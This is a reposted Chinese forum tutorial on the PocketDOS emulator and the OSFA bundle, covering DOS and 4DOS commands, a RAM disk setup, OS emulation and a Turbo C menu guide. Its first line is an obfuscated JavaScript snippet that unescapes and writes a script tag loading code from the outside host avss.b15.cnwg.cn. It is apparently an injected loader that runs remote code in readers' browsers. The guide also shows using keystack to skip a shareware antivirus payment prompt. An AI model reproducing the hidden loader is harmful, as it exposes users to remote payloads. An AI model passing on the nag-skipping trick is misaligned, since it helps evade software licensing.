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<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
[转贴]pocket dos以及OSFA介绍
3.1 PocketPC上最强的虚拟平台
3.2 DOS常用命令参数
3.3 OSFA3.1附加命令列表
3.4 如何得到1M的内存盘
3.5 如何来模拟各种OS
3.6 TurboC集成开发环境的中译界面
3.7 如何在PocketDOS下编译GIF图像
3.8 4DOS攻略
3.1 PocketPC上最强的虚拟平台
PocketDOS1.09自发布后在各大PPC论坛都是好评如潮.在我们谈PocketDOS之前,先来回顾回顾PPC上其它OS模拟器:
DOSBox:能模拟一部分VGA版的DOS游戏,比如仙剑,大富翁等.总体来说效果要比PocketDOS上的好.不过需要制定配置文件.
Bochs:传说中的模拟Win98的模拟器.配置文件比DOSBox更复杂.目前国内网络上尚无振奋人心的消息传出.
PocketDOS:能模拟MS-DoS6.22,Linux(ELKS),CP/M-86,Windows3.0及一部份DOS游戏.速度快,无需配置文件.
此外PPC上还有古董级磁碟机的模拟器,不过这对于一般人来说没有使用价值.总之,通过上面的简介,我们可以看出PocketDOS才是PPC上最适合我们的OS模拟器.它不但拥有最简单友好的操作界面,而且它的软件兼容性可谓是天下第一.包括4dos,TurboC,Qbasic,Foxbasic等软件都可以在它上面全速运行.可也说也正是因为这一点,所以才有了OSFA.
那么,什么是OSFA呢?这么说吧,OSFA不是软件,而是一套基于PocketDOS模拟器的应用解决方案.中文化,绿化,汉字支持,各种OS的模拟支持,TC,QB编程支持,增强性脚本支持,4DOS系统增强等等,这些OSFA3.1都做到了.关于OSFA的名称,那当然是和PocketDOS分不开的,OSFA又称”Super PocketDOS”或”FA-DOS”.它的最初发展和宝典同步,最早期的宝典叫作”Mini Pocket宝典”,只有2M,基本上可以说是现今OSFA的雏形.不过随着PocketDOS的不断改进更新,OSFA最终还是从宝典的框架中脱离了出来.
OSFA3.1默认启动的是PocketDOS的通用内核镜像,即ROM-DOS6.22.在它上面你可以自由启动进入Windows3.0和UCdos98的VGA版.如果你认为VGA模式下字体太小看不清的话,那么你可以切换到CGA模式下试试;OSFA3.1仍旧以4dos作为字符行的外壳,因为在默认的VGA模式下,它的强大简直可以与PC上的婢美.你不但可以用它来指定内存交换文件的存取位置,还可以用它来指定文件类型的颜色.总之,它的强大一言难尽,为此,我们还特别附了一篇4dos的攻略,以备大家在今后慢慢发掘;VGA版的Windows3.0除了能自定义小于30k的16色Bmp作为桌面外,其它倒没有什么显著的优点.相对于Windows3.0来说,UCDOS那块得到了全面的加强和更新,主要的新特性有:
1).PocketDOS1.09完全汉化版(PBC汉化组成员e4_master汉化.)
1).CGA/VGA模式下的中文输入输出支持.配带五笔,拼音等输入法.
2).支持鼠标操作的VGA版Windows3.0.
3).支持虚拟多种操作系统.如ELKS(Linux),CP/M-86,MS-DOS6.22等.
4).强大的脚本编程(JBAT)支持.(含WBAT.PCLICK...)等.
5).集成TurboC(汉化修正版),QBASIC,Foxbasic等编程软件.
6).4dos最终加强,全面提升ROM-DOS6.22性能.
3.2 DOS常用命令参数
DIR 显示文件和文件夹(目录).
用法DIR [文件名] [选项]
它有很多选项,如/A表示显示所有文件(即包括带隐含和系统属性的文件),/S表示也显示子文件夹中的文件,/P表示分屏显示,/B表示只显示文件名,等等.如 DIR A*.EXE /A /P;此命令分屏显示当前文件夹下所有以A开头后缀为EXE的文件(夹).
CD或CHDIR 改变当前文件夹.
用法:CD [文件夹名]
若无文件夹名则显示当前路径.
MD或MKDIR 建立文件夹.
用法:MD 文件夹名
RD或RMDIR 删除文件夹.
用法:RD 文件夹名
注意:此文件夹必须是空的.
DEL或ERASE 删除文件.
用法DEL/ERASE 文件名
COPY 拷贝文件.
用法: COPY 文件名1 [文件名2] [选项]
如 COPY /B A+B C
此命令将两个二进制文件A和B合为一个文件C.
TYPE 显示文件内容.
用法:TYPE 文件名
REN或RENAME 改变文件名,在DOS7中还可以改变文件夹名.
用法:REN 文件(夹)名1 文件(夹)名2
EDIT 编辑文件,在DOS7中还可以编辑二进制文件.
用法:EDIT [文件名] [选项]
如 EDIT /70 C:/COMMAND.COM
此命令以二进制方式编辑C:/COMMAND.COM文件.
FORMAT 格式化磁盘.
用法:FORMAT 驱动器 [选项]
它的选项很多,如/Q是快速格式化,/U表示无条件格式化(即无法使用UNFORMAT等命令恢复),/V指定磁盘的卷标名,等等.它还有许多未公开参数.
MEM 显示内存状态.
用法:MEM [选项]
它的选项也有不少,如/C可列出所有程序的内存占用,/D是显示驻留内存的程序及设备驱动程序的状态等详细信息,/F显示空闲的内存总量,/M显示内存中的模块信息,/P则是分屏显示.还有隐藏的/A选项,可以显示HMA信息.
MOVE 移动文件或文件夹,还可以更改文件或文件夹的名称.
用法:MOVE 文件[夹]1 文件[夹]2
如 MOVE C:/*.EXE D:
此命令可以将C盘根文件夹下所有扩展名为EXE的文件移到D盘上.
XCOPY 复制文件或文件夹.
用法:XCOPY 文件[夹]名1 [文件[夹]名2] [选项]
它的选项非常多,如/S可拷贝整个文件夹(包括子文件夹)中的文件,/E指定包括空文件夹,/V表示复制完后检验复制出的文件的正确性,/Y表示确认,等等.
CLS 清除屏幕.
用法:CLS
SYS 传导系统,即将系统文件(如IO.SYS等)从一处传输到指定的驱动器中.
用法:SYS 文件夹名 [驱动器]
如 SYS C:/DOS A:
此命令即可将位于C:/DOS文件夹下的系统文件传输到A盘中.
DATE 显示或设置日期.
用法DATE [日期]
TIME 显示或设置时间.
用法:TIME [时间]
3.3 OSFA3.1附加命令列表
vi: 文本阅读;
reboot(re): 重新启动;
el: 删除增强;可以连同目录一起删掉.
gui: 切换启动模式;"gui /off"就是指启动时进入UCDOS98,"gui /on"就是指启动时进入Windows3.0.
pa: Path增强;可以在不覆盖原路径的情况下写入新路径.
tg: 文本合并;比如"tg 1.txt 2.txt"就是指将1.txt写入2.txt中去实现合并.
uc: 快速启动UCDOS98;
win: 快速启动Windows3.0;
fd: 搜索文件;比如"fd el S:"就是指搜索S盘下所有文件名中含"el"的文件.
help: 显示命令参数帮助;
tree: 树型目录显示;
c: 清屏;
cc: 清屏加强;
gif: 查看Gif图像;
vga: VGA屏幕演示程序;
MCD: 新建目录加强;
MSD: 查看硬件设备;
attrib: 文件属性修改;
Wait: 响应等待时间;
debug: 排错程序;
Unzip: Zip解/压缩;
Undisk: img磁盘镜像释放程序;
Tad: 时间/日期加强;
SOL: 纸牌;
TC: 启动TurboC;
QB: 启动Qbasic;
Map: 显示所有目录及文件;
ls: Dir加强;
b2c: bat转com
fox: 启动Foxbasic
3.4 如何得到1M的内存盘
首先必需得有XMSDSK,FINDRAM这两个命令的支持.请先将CD附件包中的这两个命令复制到"Program Files/OSFA"目录下,然后在PPC上用记事本打开autoexec.bat文件并添加上以下命令:
XMSDSK 1024 /Y > NUL
FINDRAM > NUL
SET TMP=%RAMDRIVE%
SET TEMP=%RAMDRIVE%
PATH=%RAMDRIVE%
这样重新启动后你就得到了1M的内存盘.内存盘设置成功后,你可以将常用的脚本命令和程序放在那里.理论上应该是要比磁盘上运行的快,但实际上并非如此.感兴趣的玩家可以试试.
注意:
1).必须先将PocketDOS设置中的扩充内存调到1M以上.
2).OSFA没有集成EMS模块,所以如果你想尝试的话请先安装EMS模块.
3.5 如何来模拟各种OS
1).模拟Windows3.0;
命令:Gui /on
2).模拟Ucdos98;
命令:Gui /off
3).模拟linux
第一步:点击"工具”-“磁盘”-“添加磁盘镜像"-选择"ELKS.DSK"-激活"写入设置后立即生效"
第二步:点击"工具”-“系统”-启动至"驱动器A如果可用,否则驱动器C."-重新启动.
4).模拟CP/M-86
第一步:点击"工具”-“磁盘”-“添加磁盘镜像"-选择"CPM-86.IMA"-激活"写入设置后立即生效"
第二步:点击"工具”-“系统”-启动至"驱动器A如果可用,否则驱动器C."-重新启动.
.6 TurboC集成开发环境的中译界面
主菜单在Turbo C 2.0主屏幕顶上一行, 显示下列内容:File Edit Run Compile Project Options Debug Break/watch
除Edit外, 其它各项均有子菜单, 只要用Alt加上某项中第一个字母(即大写字母), 就可进入该项的子菜单中.
File (文件)菜单 ----按Alt+F可进入File菜单, 该菜单包括以下内容:
.Load (加载)
装入一个文件, 可用类似DOS的通配符(如*.C)来进行列表选择.也可装入其它扩展名的文件, 只要给出文件名(或只给路径)即可.该项的热键为F3, 即只要在主菜单中按F3即可进入该项, 而不需要先进入File菜单再选此项.
.Pick (选择)
将最近装入编辑窗口的8个文件列成一个表让用户选择, 选择后将该程序装入编辑区, 并将光标置在上次修改过的地方.其热健为Alt-F3.
.New (新文件)
说明文件是新的, 缺省文件名为NONAME.C, 存盘时可改名.
.Save (存盘)
将编辑区中的文件存盘, 若文件名是NONAME.C时, 将询问是否更改文件名, 其热键为F2.
.Write to (存盘)
可由用户给出文件名将编辑区中的文件存盘, 若该文件已存在, 则询问要不要覆盖.
.Directory (目录)
显示目录及目录中的文件, 并可由用户选择.
.Change dir (改变目录)
显示当前目录, 用户可以改变显示的目录.
.Os shell (暂时退出)
暂时退出Turbo C 2.0到DOS提示符下, 此时可以运行DOS 命令, 若想回到Turbo C 2.0中, 只要在DOS状态下键入EXIT即可.
.Quit (退出)
退出Turbo C 2.0, 返回到DOS操作系统中, 其热键为Alt+X.
说明: 以上各项可用光标键移动色棒进行选择, 回车则执行.也可用每一项的第一个大写字母直接选择.若要退到主菜单或从它的下一级菜单列表框退回均可用Esc键,Turbo C 2.0所有菜单均采用这种方法进行操作, 以下不再说明.
Edit (编辑)菜单---按Alt+E可进入编辑菜单, 若再回车, 则光标出现在编辑窗口, 此时用户可以进行文本编辑.编辑方法基本与wordstar相同,
可用F1键获得有关编辑方法的帮助信息.与编辑有关的功能键如下:
F1 获得Turbo C 2.0编辑命令的帮助信息
F5 扩大编辑窗口到整个屏幕
F6 在编辑窗口与信息窗口之间进行切换
F10 从编辑窗口转到主菜单
编辑命令简介:
PageUp 向前翻页
PageDn 向后翻页
Home 将光标移到所在行的开始
End 将光标移到所在行的结尾
Ctrl+Y 删除光标所在的一行
Ctrl+T 删除光标所在处的一个词
Ctrl+KB 设置块开始
Ctrl+KK 设置块结尾
Ctrl+KV 块移动
Ctrl+KC 块拷贝
Ctrl+KY 块删除
Ctrl+KR 读文件
Ctrl+KW 存文件
Ctrl+KP 块文件打印
Ctrl+F1 如果光标所在处为Turbo C 2.0库函数, 则获得有关该函数的帮助信息
Ctrl+Q[ 查找Turbo C 2.0双界符的后匹配符
Ctrl+Q] 查找Turbo C 2.0双界符的前匹配符
说明:
a. Turbo C 2.0的双界符包括以下几种符号:
花括符 { }
尖括符 < >
圆括符 ( )
方括符 [ ]
注释符 /* */
双引号 "
单引号 ''
Turbo C 2.0在编辑文件时还有一种功能, 就是能够自动缩进, 即光标定位和上一个非空字符对齐.在编辑窗口中, Ctrl+OL为自动缩进开关的控制键.
Run (运行)菜单---按Alt+R可进入Run菜单, 该菜单有以下各项:
.Run (运行程序)
运行由Project/Project name项指定的文件名或当前编辑区的文件.如果对上次编译后的源代码未做过修改, 则直接运行到下一个断点(没有断点则运行到结束).否则先进行编译,连接后才运行, 其热键为Ctrl+F9.
.Program reset (程序重启)
中止当前的调试, 释放分给程序的空间, 其热键为Ctrl+F2.
.Go to cursor (运行到光标处)
调试程序时使用, 选择该项可使程序运行到光标所在行.光标所在行必须为一条可执行语句, 否则提示错误.其热键为F4.
.Trace into (跟踪进入)
在执行一条调用其它用户定义的子函数时, 若用Trace into项, 则执行长条将跟踪到该子函数内部去执行, 其热键为F7.
.Step over (单步执行)
执行当前函数的下一条语句, 即使用户函数调用, 执行长条也不会跟踪进函数内部, 其热键为F8.
.User screen (用户屏幕)
显示程序运行时在屏幕上显示的结果.其热键为Alt+F5.
Compile (编译)菜单---按Alt+C可进入Compile菜单, 该菜单有以下几个内容:
.Compile to OBJ (编译生成目标码)
将一个C源文件编译生成.OBJ目标文件, 同时显示生成的文件名.其热键为Alt+F9.
.Make EXE file (生成执行文件)
此命令生成一个.EXE的文件, 并显示生成的.EXE文件名.其中.EXE文件名是下面几项之一.
a. 由Project/Project name说明的项目文件名.
b. 若没有项目文件名, 则由Primary C file说明的源文件.
c. 若以上两项都没有文件名, 则为当前窗口的文件名.
.Link EXE file (连接生成执行文件)
把当前.OBJ文件及库文件连接在一起生成.EXE文件.
.Build all (建立所有文件)
重新编译项目里的所有文件, 并进行装配生成.EXE文件.该命令不作过时检查(上面的几条命令要作过时检查, 即如果目前项目里源文件的日期和时间与目标文件相同或更早, 则拒绝对源文件进行编译).
.Primary C file (主C文件)
当在该项中指定了主文件后, 在以后的编译中, 如没有项目文件名则编译此项中规定的主C文件, 如果编译中有错误, 则将此文件调入编辑窗口, 不管目前窗口中是不是主C文件.
.Get info
获得有关当前路径,源文件名,源文件字节大小,编译中的错误数目,可用空间等信息.
Project (项目)菜单---按Alt+P可进入Project菜单, 该菜单包括以下内容:
.Project name (项目名)
项目名具有.PRJ的扩展名, 其中包括将要编译,连接的文件名.例如有一个程序由file1.c, file2.c, file3.c组成, 要将这3个文件编译装配成一个file.exe的执行文件, 可以先建立一个file.prj的项目文件, 其内容如下:
file1.c file2.c file3.c
此时将file.prj放入Project name项中, 以后进行编译时将自动对项目文件中规定的三个源文件分别进行编译.然后连接成file.exe文件.如果其中有些文件已经编译成.OBJ文件, 而又没有修改过, 可直接写上.OBJ扩 展名.此时将不再编译而只进行连接.例如: file1.obj file2.c file3.c 将不对file1.c进行编译, 而直接连接. 说明: 当项目文件中的每个文件无扩展名时, 均按源文件对待, 另外, 其中的文件也可以是库文件, 但必须写上扩展名.LIB.
.Break make on (中止编译)
由用户选择是否在有Warining(警告),Errors(错误),Fatal Errors( 致命错误)时或Link(连接)之前退出Make编译.
.Auto dependencies (自动依赖)
当开关置为on, 编译时将检查源文件与对应的.OBJ文件日期和时间, 否则不进行检查.
.Clear project (清除项目文件)
清除Project/Project name中的项目文件名.
.Remove messages (删除信息)
把错误信息从信息窗口中清除掉.
Options (选择菜单) ---按Alt+O可进入Options菜单, 该菜单对初学者来说要谨慎使用.
.Compiler (编译器)
本项选择又有许多子菜单, 可以让用户选择硬件配置,存储模型,调试技术,代码优化,对话信息控制和宏定义.这些子菜单如下: Model 共有Tiny, small, medium, compact, large, huge 六种不同模式可由同户选择.
Define 打开一个宏定义框, 同户可输入宏定义.多重定义可同分号, 赋值可用等号.
Code generation 它又有许多任选项, 这些任选项告诉编译器产生什么样的目标代码.
Calling convention 可选择C或Pascal方式传递参数.
Instruction set 可选择8088/8086或80186/80286指令系列.
Floating point 可选择仿真浮点,数学协处理器浮点或无浮点运算.
Default char type 规定char的类型.
Alignonent 规定地址对准原则.
Merge duplicate strings 作优化用, 将重复的字符串合并在一起.
Standard stack frame 产生一个标准的栈结构.
Test stack overflow 产生一段程序运行时检测堆栈溢出的代码.
Line number 在.OBJ文件中放进行号以供调试时用.
OBJ debug information 在.OBJ文件中产生调试信息.
Optimization
Optimize for 选择是对程序小型化还是对程序速度进行优化处理.
Use register variable 用来选择是否允许使用寄存器变量.
Register optimization 尽可能使用寄存器变量以减少过多的取数操作.
Jump optimization 通过去除多余的跳转和调整循环与开关语句的办法, 压缩代码.
Source
Indentifier length 说明标识符有效字符的个数, 默认为32个.
Nested comments 是否允许嵌套注释.
ANSI keywords only 是只允许ANSI关键字还是也允许Turbo C 2.0关键字
Error
Error stop after 多少个错误时停止编译, 默认为25个.
Warning stop after 多少个警告错误时停止编译, 默认为100个.
Display warning
Portability warning 移植性警告错误.
ANSI Violations 侵犯了ANSI关键字的警告错误.
Common error 常见的警告错误.
Less common error 少见的警告错误.
Names 用于改变段(segment),组( group) 和类(class)的名字, 默认值为CODE,DATA,BSS.
.Linker (连接器)
本菜单设置有关连接的选择项, 它有以下内容:
Map file menu 选择是否产生.MAP文件.
Initialize segments 是否在连接时初始化没有初始化的段.
Devault libraries 是否在连接其它编译程序产生的目标文件时去寻找其缺省库.
Graphics library 是否连接graphics库中的函数.
Warn duplicate symbols 当有重复符号时产生警告信息.
Stack warinig 是否让连接程序产生No stack的警告信息.
Case-sensitive link 是否区分大,小写字.
.Environment (环境)
本菜单规定是否对某些文件自动存盘及制表键和屏幕大小的设置
Message tracking
Current file 跟踪在编辑窗口中的文件错误.
All files 跟踪所有文件错误.
Off 不跟踪.
Keep message 编译前是否清除Message窗口中的信息.
Config auto save 选on时, 在Run, Shell或退出集成开发环境之前,如果Turbo C 2.0的配置被改过, 则所做 的改动将存入配置文件中.选off时不存.
Edit auto save 是否在Run或Shell之前, 自动存储编辑的源文件.
Backup file 是否在源文件存盘时产生后备文件(.BAK文件).
Tab size 设置制表键大小, 默认为8.
Zoomed windows 将现行活动窗口放大到整个屏幕, 其热键为F5.
Screen size 设置屏幕文本大小.
.Directories (路径)
规定编译,连接所需文件的路径, 有下列各项:
Include directories 包含文件的路径, 多个子目录用";"分开.
Library directories 库文件路径, 多个子目录用";"分开.
Output directoried 输出文件(.OBJ, .EXE, .MAP文件)的目录.
Turbo C directoried Turbo C 所在的目录.
Pick file name 定义加载的pick文件名, 如不定义则从current pick file中取.
.Arguments (命令行参数)
允许用户使用命令行参数.
.Save options (存储配置)
保存所有选择的编译,连接,调试和项目到配置文件中, 缺省的配置文件为TCCONFIG.TC.
.Retrive options 装入一个配置文件到TC中, TC将使用该文件的选择项.
Debug (调试)菜单
---按Alt+D可选择Debug菜单, 该菜单主要用于查错, 它包括以下内容:
.Evaluate
.Expression 要计算结果的表达式.
.Result 显示表达式的计算结果.
.New value 赋给新值.
.Call stack 该项不可接触.而在Turbo C debuger 时用于检查堆栈情况.
.Find function 在运行Turbo C debugger时用于显示规定的函数.
.Refresh display 如果编辑窗口偶然被用户窗口重写了可用此恢复编辑窗口的内容.
Break/watch (断点及监视表达式)
---按Alt+B可进入Break/watch菜单, 该菜单有以下内容:
.Add watch 向监视窗口插入一监视表达式.
.Delete watch 从监视窗口中删除当前的监视表达式.
.Edit watch 在监视窗口中编辑一个监视表达式.
.Remove all watches 从监视窗口中删除所有的监视表达式.
.Toggle breakpoint 对光标所在的行设置或清除断点.
. Clear all breakpoints 清除所有断点.
. View next breakpoint 将光标移动到下一个断点处.
3.7 如何在PocketDOS下编译GIF图像
由于PocketDOS1.09支持VGA,所以即使在字符行界面下我们也能欣赏高保真的图像.这里我们就来介绍一个有趣的命令:"g2e 123.gif".这条命令执行后程序会在123.gif同目录下生成一个123.exe.这是编译后的执行文件,运行即可查看123.gif;你也可以用"gif 123"命令来直接查看Gif图像.
3.8 4DOS攻略
其实包括Windows3.0在内的严格上说都不能算操作系统,而是DOS的一个GUI"壳".这里我们就来介绍另外一个基于字符行的"壳"-4dos.自宝典1.0集成的OSFA2内置4dos以来,不少PPC发烧友就开始关注这个业已成为文物的DOS软件.如今PocketDOS1.09支持了VGA,4dos在 它之下更是如鱼得水.所以这里就附上一篇它的攻略,以嗜读者.
1).4DOS入门
首先, 我们先确定 4DOS 的兼容性:
硬件方面: PC, PC XT, PC AT/386, PS/2 及 Compatible 的机型都完全兼容.
系统方面: PC-DOS, MS-DOS, Chinese system 也都相容.
网络方面: MS-DOS Compatible 的网络包括 3Com 3+, Novell Netware 都兼容.
软件方面: Lotus, dBase, DESQview, QEMM, Windows.... 等都相容.
既然兼容性没问题了, 那使用环境呢?
4DOS 可说是第一个支持 XMS 的软件, 虽然 Intel 在 '88 年就已定出 XMS 的规格,
但到目前为止, 4DOS 是第一个发表的支持 XMS 的软件, 4DOS 在一开机加载时会先找 HMA
(High Memory Area), 再找 EMS, 都找不到则会自动 Swap 在磁盘上, 以内存来说, 已
到达自动寻找最节省的方式常驻, 所有的功能及指令全部内建, 老实说, 即使把开机系统
中的 COMMAND.COM 干掉, 把 4DOS.COM 改成 COMMAND.COM 也没问题.
那就可以直接用了吧?
BIN-BON ! 答对了, 如果你对你的系统要求如此之低的话, 的确可以就这样用了, 可
是 4DOS 既然这么强大, 当然会让 User 设定一些参数使它更有弹性才对, 以下是说明,
大写表示不可更动部份, 小写表示随 User 高兴 (但不可过份) :
首先, 在 CONFIG.SYS 中要加入 SHELL = d:/path/4DOS.COM, 使计算机一开机时不去找
COMMAND.COM 而直接把 4DOS.COM 当 COMMAND.COM 来用.
参数: /A:n ALIAS 的大小, ALIAS 等于 DOS 的 BATCH 档, 执行时为最优先执
行的项目, 全部先加载 Memory 中后执行, 默认值是 1024 (bytes,
以下皆是)如果你设定的 ALIAS 很多, n 也要跟着加多, 超过的
ALIAS 不会被加载, n 在 256 - 32000 之间.
/E 环境的大小, n 在 256 - 32000 之间, 有下列两种用法:
/E:n 直接设定大小, 默认值是 512.
/E+n 若环境已不足使用时可再追加次要环境以便使用, 默认值
是 128, 且以 n 必须以 128 为单位如 256, 512, 1024..
/H:n 指令编辑空间的大小, 4DOS 可将所下过的指令叫出编辑, 空间越大
记得越多, 默认值是 1024, n 在 512 - 8192 之间, 最新的指令会
把最旧的挤掉, 可用上下键查询或 F3 重复上一指令在目前光标位
置之后的指令, 叫出后可 Insert 或 Delete 编辑.
/U 把 4DOS SWAP 到 UMB (Upper Memory Block), 如果有用如 QEMM
之类的内存管理程序的话, 加此参数保证不相冲, 因为 4DOS 是
自行 SWAP 而不是靠管理程序 SWAP 的.
/P 4DOS 按照预设的 SWAP 方式进行, 所有变量未经指定则以默认值设定.
范例: SHELL=C:/4DOS.COM /A:1024 /E:1024U /H:1024 /P /U
又 : 因为不是出书, 时间空间有限, 故参数并未全部介绍, 仅一般常用变数而已.
其次, 在 AUTOEXEC.BAT 中加上 SET COMSPEC=d:/path/4DOS.COM, 比较好, 设 PATH
时最好第一个设 C:/; 还有记得要包括 4ODS 的 HELP.EXE 及 DOS.HLP 所在的路径, 且要
优先于 DOS 5.0 的路径, 不然按 F1 时出现的不是 4DOS 而是 DOS 5.0 的 HELP.
说到 HELP, 4DOS 的 HELP 功能相当不错, 看过 4DOS.DOC 的 User 不妨用 F1 把
4DOS 的功能看得更清楚些.
2).4DOS指令
好了,今天要介绍指令是-TYPE.
4DOS的TYPE有两个参数: /P 和 /L.
/P : 一页一页地显示.
/L : 显示时在文字文件的每一行加上行号.
要注意的是使用的格式,一定要如下:
TYPE /LP [d:][path]filename
也就是一定要先打参数才打档名,否则参数会无效.
大家玩一玩.下次介绍4DOS的type加强型:LIST.
上回介绍了TYPE,这次介绍LIST - 这是4DOS的加强型TYPE. 为4DOS所特有的.
和TYPE一样,LIST主要是用来看ASCII档案的.(中文亦适用)但是它提供了一个类似
文书处理的环境,除了不能编辑文字外,在阅读文字文件时真是方便许多.它有三个参数:
/H : 除去高位字符,在阅读某些有档案格式的文字文件时较有用.
/S : 不从档案中找寻显示内容,而从标准输出中做LIST的动作.有一个例子:
DIR | LIST /S
这样下指令可以把DIR的内容用LIST来看.
/W : 在右边界做转折. 看非文字文件时较有用.
以上所说的参数并不是常用得到,若是要用LIST来看文字文件,只要打
LIST [d:][path]filename
就可以了.上列参数我也不大清楚,不大会应用,请会用的人提供一下经验.
进了list后,所有可用的按键都会显示在屏幕最上方一行.大致就是文书处理中的
PGUP, PGDN, HOME, END 等等. 比较特殊的按键有:
F : 找寻指定字符串.
N : 找寻下一个合乎搜寻条件的字符串.
P : 打印.
LIST 比 TYPE 要好用得多了. 用4DOS的人可不要忘了这个功能.
4DOS 有一项特殊功能, 就是可以记录
User 所下的每一个指令, 你家里的计算机经常在
你不在家的时候被弟妹们乱玩吗?
你公司里的计算机经常被人趁你不在的时后乱玩, 在你下
班后有人从中偷取数据, 或删改数据吗?
别高兴得太早, 4DOS
并不能防止这些行为, 因为它只是 COMMAND.COM 的加强而已,
但它可以把所有的指令记录存盘, 让你知道
User (包括你自己) 下过哪些指令, 并记录当
时的日期与时间, 以便你在任何时刻都能掌握状况.
指令名称: LOG
指令格式: LOG [/W [d:][path]filename | ON | OFF | text]
功能说明: 把所下过的指令记录并存盘.
如不指定存档名称, 4DOS
将以预设的 4DOSLOG 存盘在 Boot 磁盘的根目录.
如不加任何参数, 仅显示目前 LOG 是否启动.
如加上一段文字, 在 LOG ON
时可在 LOG FILE 加上一段文字 (下 COMMAND
时有 8 个字的限制, 此时可加批注).
在 LOG OFF
时可在 LOG FILE 的开始位置加上文件头说明 (
以便将此记录文件分类归档).
记录格式: [mm/dd/yy hh:mm:ss] command
执行范例: C>LOG
LOG is OFF
表示目前记录的功能并未启动.
C>LOG ON (OFF)
表示即刻起记录功能启动 (关闭)
C>LOG /W C:/LOG/LOGFILE
指定记录功能启动且必需以 LOGFILE 档名存在 C:/LOG 中.
C>LOG "Start work on the database system"
将 "...." 中的文字加在 LOG FILE 目前的位置或档案开头.
笔者范例: AUTO.BTM : .
/* Log Active */ ALIAS LA LOG ON
/* Log Delete */ ALIAS LD DEL D:/TEMP/GOD.LOG > NUL
/* Log Edit */ ALIAS LE LIST D:/TEMP/GOD.LOG
/* Log Off */ ALIAS LO LOG OFF
/* how to log */ LOG /W D:/TEMP/GOD.LOG
3).4DOS应用范例
1. DIR 时可设定各附加档名不同颜色
如
> set colordir=com exe bat btm:white;dirs:bri yellow
2. 切换子目录方便
如
> c:/et/ 再按 就可切过去
当然若配合 , 更方便
3. History 加强
按 或 会出现一个 History 窗口,供您选择打过的指令
4. 在 DesqView 下较不会当
5. Prompt 可设计的更强
如 prompt $z$s$p$g 显示您在第几层 Shell 中
6. 直接设定 DOS 下的 HotKey, 不需透过 ANSI.SYS
如
> alias @shift-f10 eexitr 此后按 Shift-F10 直接回前一层 Shell
> alias @f12 clsr 此后按 直接清屏幕,Oh ~~ Nice !!
7. 有些初值设定可以放在 4DOS.INI 中
8. Swapping 方式多样化
如 在 4dos.ini 中设定
Swapping = ,XMS,EMS,F:/TMP,C:/TMP,NONE
则 Swapping 到 XMS, 当 XMS 满了后 用 EMS...
(在 qemm386 下 XMS 比 EMS 快!!)
9. filename wildcard 加强
可用 [abc]this 代表 athis 或 bthis 或 cthis
详细情形自行看 DOC 吧!
10. 在两个子目录之间切换方便
如
C:/> c:/bin/ 切到 c:/bin
C:/BIN> d:/test/ 切到 d:/test
C:/TEST> cd -
C:/BIN> cd -
C:/TEST>
您发现它的方便性了吗?!
11. keystack 强大的按键功能:
在执行某个程序时,可将某个键值传给该程序,就像您按下某个键一
样,例如有个防毒程序 Vr_dt,其非注册版程序在执行时会提醒您付
费,然后等候您按下任何一键再继续执行,此时您先执行一个常驻程
式 kstack.com (提供 keystack 功能),然后执行
keystack enter ^ vr_dt/i
此时 keystack 便将 enter 这个键值传给 vr_dt.com,就好比您执行
vr_dt/i 再按 enter 键一样!!
转自
飞翔智能手机论坛
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